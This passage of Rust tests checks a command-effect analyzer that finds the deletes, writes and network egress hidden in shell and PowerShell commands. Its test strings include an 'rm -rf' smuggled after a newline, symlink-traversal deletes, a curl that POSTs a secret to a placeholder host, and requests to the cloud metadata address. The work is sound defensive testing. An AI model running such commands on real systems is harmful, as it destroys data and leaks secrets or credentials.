"echo \"a\nrm -rf /tmp/aidaemon-test/keep\ncurl https://a.example.invalid/\"",
Exact(vec![]),
),
(
"echo 'a\ncurl https://a.example.invalid/ > /tmp/aidaemon-test/f'",
Exact(vec![]),
),
(
"echo hi >&1file",
Exact(vec![write("/tmp/aidaemon-test/w/1file")]),
),
("echo hi >&2", Exact(vec![])),
("echo hi 2>&-", Exact(vec![])),
("echo hi >&2-", Exact(vec![])),
(
"find /tmp/aidaemon-test/w/x -follow -delete",
Exact(vec![delete("/tmp/aidaemon-test/w/x")]),
),
(
"curl -w @fmt https://a.example.invalid/",
Exact(vec![egress("a.example.invalid:443")]),
),
(
"curl --write-out @fmt https://a.example.invalid/",
Exact(vec![egress("a.example.invalid:443")]),
),
(
"curl dict://h.example.invalid/d:x",
Within(vec![egress("h.example.invalid:2628")]),
),
("curl ldap://h.example.invalid/", Within(vec![])),
("curl telnet://h.example.invalid/", Within(vec![])),
(
"curl gopher://h.example.invalid:70/",
Exact(vec![egress("h.example.invalid:70")]),
),
(
"wget --output-document=~/x https://a.example.invalid/",
Within(vec![
write("/tmp/aidaemon-test/w/~/x"),
egress("a.example.invalid:443"),
]),
),
(
"curl -o~/x https://a.example.invalid/",
Within(vec![
write("/tmp/aidaemon-test/w/~/x"),
egress("a.example.invalid:443"),
]),
),
];
let mut wrong = Vec::new();
for (command, expect) in cases {
let effects = shell_call_effects(command, Some(w));
let ok = !effects.complete
&& match expect {
Incomplete => true,
Exact(mut expected) => {
let mut keys = effects.keys.clone();
let order = |key: &EffectKey| format!("{} {}", key.class, key.target);
keys.sort_by_key(order);
expected.sort_by_key(order);
keys == expected
}
Within(allowed) => effects.keys.iter().all(|key| allowed.contains(key)),
};
let clean = effects
.keys
.iter()
.all(|key| !key.target.contains(['{', '}', '*', '?', ',', '\\']));
if !ok || !clean {
wrong.push(format!("{command:?} => {effects:?}"));
}
}
assert!(
wrong.is_empty(),
"{} wrong:\n{}",
wrong.len(),
wrong.join("\n")
);
let partial = shell_call_effects("git pull https://a.example.invalid/r", None);
assert!(partial.keys.contains(&egress("a.example.invalid:443")));
}
#[cfg(unix)]
#[test]
fn shell_paths_resolve_through_symlinks_physically() {
let dir = tempfile::tempdir().unwrap();
let w = dunce::canonicalize(dir.path()).unwrap();
let w = w.to_str().unwrap();
std::fs::create_dir_all(format!("{w}/a/real")).unwrap();
std::os::unix::fs::symlink(format!("{w}/a/real"), format!("{w}/link")).unwrap();
std::os::unix::fs::symlink(format!("{w}/missing"), format!("{w}/dangling")).unwrap();
let key = |class, path: String| EffectKey {
class,
target: path,
};
let trailing = shell_call_effects(&format!("rm -rf {w}/link/"), None);
assert!(!trailing.complete);
assert!(
trailing
.keys
.contains(&key(EffectClass::Delete, format!("{w}/a/real")))
);
assert!(
trailing
.keys
.contains(&key(EffectClass::Delete, format!("{w}/link")))
);
let climbed = shell_call_effects(&format!("rm -rf {w}/link/../victim"), None);
assert!(!climbed.complete);
assert!(
climbed
.keys
.contains(&key(EffectClass::Delete, format!("{w}/a/victim")))
);
let redirected = shell_call_effects(&format!("echo x > {w}/link/../f"), None);
assert!(!redirected.complete);
assert_eq!(
redirected.keys,
vec![key(EffectClass::Write, format!("{w}/a/f"))]
);
assert!(
shell_call_effects(&format!("echo x > {w}/dangling/f"), None)
.keys
.is_empty()
);
}
#[test]
fn proven_fetch_urls_only_when_exit_status_vouches_for_every_fetch() {
let url = "https://synthetic-tunnel.example/";
let other = "http://127.0.0.1:8080/wp-login.php";
assert_eq!(
proven_fetch_urls(&format!("curl -sSfL {url}")),
Some(vec![url.to_string()])
);
assert_eq!(
proven_fetch_urls(&format!("curl -s -o /dev/null -w '%{{http_code}}' '{url}'")),
Some(vec![url.to_string()])
);
assert_eq!(
proven_fetch_urls(&format!("wget -q -O - {other} 2>&1")),
Some(vec![other.to_string()])
);
assert_eq!(
proven_fetch_urls(&format!("curl -sI {url} && /usr/bin/wget --spider {other}")),
Some(vec![url.to_string(), other.to_string()])
);
assert_eq!(
proven_fetch_urls(&format!("curl --url {url}")),
Some(vec![url.to_string()])
);
for masked in [
format!("curl -s {url}; true"),
format!("curl -s {url} || echo down"),
format!("curl -s {url} | head -5"),
format!("curl -s {url} |& tee /tmp/out"),
format!("curl -s {url} & wait"),
format!("(curl -s {url})"),
format!("curl -s {url}\necho done"),
format!("curl -s {url} && echo ok"),
format!("echo start && curl -s {url}"),
"curl -s $(cat /tmp/url)".to_string(),
"curl -s \"$URL\"".to_string(),
format!("URL={url} curl -s {url}"),
format!("sudo curl -s {url}"),
format!("curl -s {url} {other}"),
format!("curl -K /tmp/curlrc {url}"),
format!("/tmp/bin/curl -s {url}"),
"curl -s synthetic-tunnel.example".to_string(),
"curl -s 'https://synthetic-tunnel.example/{a,b}'".to_string(),
"curl -s".to_string(),
String::new(),
] {
assert_eq!(proven_fetch_urls(&masked), None, "{masked}");
}
}
#[cfg(windows)]
mod powershell {
use super::super::*;
#[test]
fn reading_cmdlets_are_observations() {
for line in [
r"Get-Content C:\Users\alice\notes.txt",
"Start-Sleep -Seconds 1; Write-Output done",
r"gci C:\Users\alice | Select-String TODO",
r"Test-Path C:\Users\alice\notes.txt",
] {
assert!(command_effects(line).observation_only, "{line}");
}
}
#[test]
fn a_backslash_does_not_hide_a_delete() {
let effects = command_effects(r"Get-Content C:\; Remove-Item C:\data");
assert!(!effects.observation_only);
assert!(effects.deletes);
}
#[test]
fn code_bearing_arguments_are_unknown() {
for line in [
"Get-ChildItem | ForEach-Object { Remove-Item $_ }",
"Write-Output $(Remove-Item x)",
"Get-Content @args",
"Select-Object @{n='x';e={Remove-Item y}}",
] {
let effects = command_effects(line);
assert!(!effects.observation_only, "{line}");
assert!(!effects.local_work_only, "{line}");
}
}
#[test]
fn powershell_curl_is_not_read_as_curl() {
let line = "curl -Method Post -Body secret https://example.invalid/x";
assert!(!only_reads(line));
assert!(fetches_network(line));
}
#[test]
fn curl_exe_is_curl() {
let effects = shell_call_effects("curl.exe -s https://example.invalid/x", None);
assert!(
effects
.keys
.iter()
.any(|key| key.class == EffectClass::Egress),
"{:?}",
effects.keys
);
assert!(only_reads("curl.exe -s https://example.invalid/x"));
}
#[test]
fn remove_item_targets_are_read() {
let effects = command_effects(r"Remove-Item -Recurse -Force C:\tmp\aidaemon-test\x");
assert!(effects.deletes);
assert_eq!(
effects.delete_targets,
Some(vec!["C:/tmp/aidaemon-test/x".to_string()])
);
assert!(command_effects(r"New-Item -ItemType Directory C:\tmp\x").local_work_only);
}
#[test]
fn web_cmdlets_name_where_they_go() {
for line in [
"curl http://169.254.169.254/latest/meta-data/",
"Invoke-WebRequest -Uri http://169.254.169.254/latest/",
] {
let effects = shell_call_effects(line, None);
assert!(!effects.understood, "{line}");
assert!(
effects
.keys
.iter()
.any(|key| key.class == EffectClass::Egress
&& key.target.starts_with("169.254.169.254")),
"{line}: {:?}",
effects.keys
);
}
}
#[test]
fn remove_item_declares_its_delete() {
let effects = shell_call_effects(r"Remove-Item -Recurse C:\tmp\x", None);
assert!(
effects
.keys
.iter()
.any(|key| key.class == EffectClass::Delete),
"{:?}",
effects.keys
);
}
}
}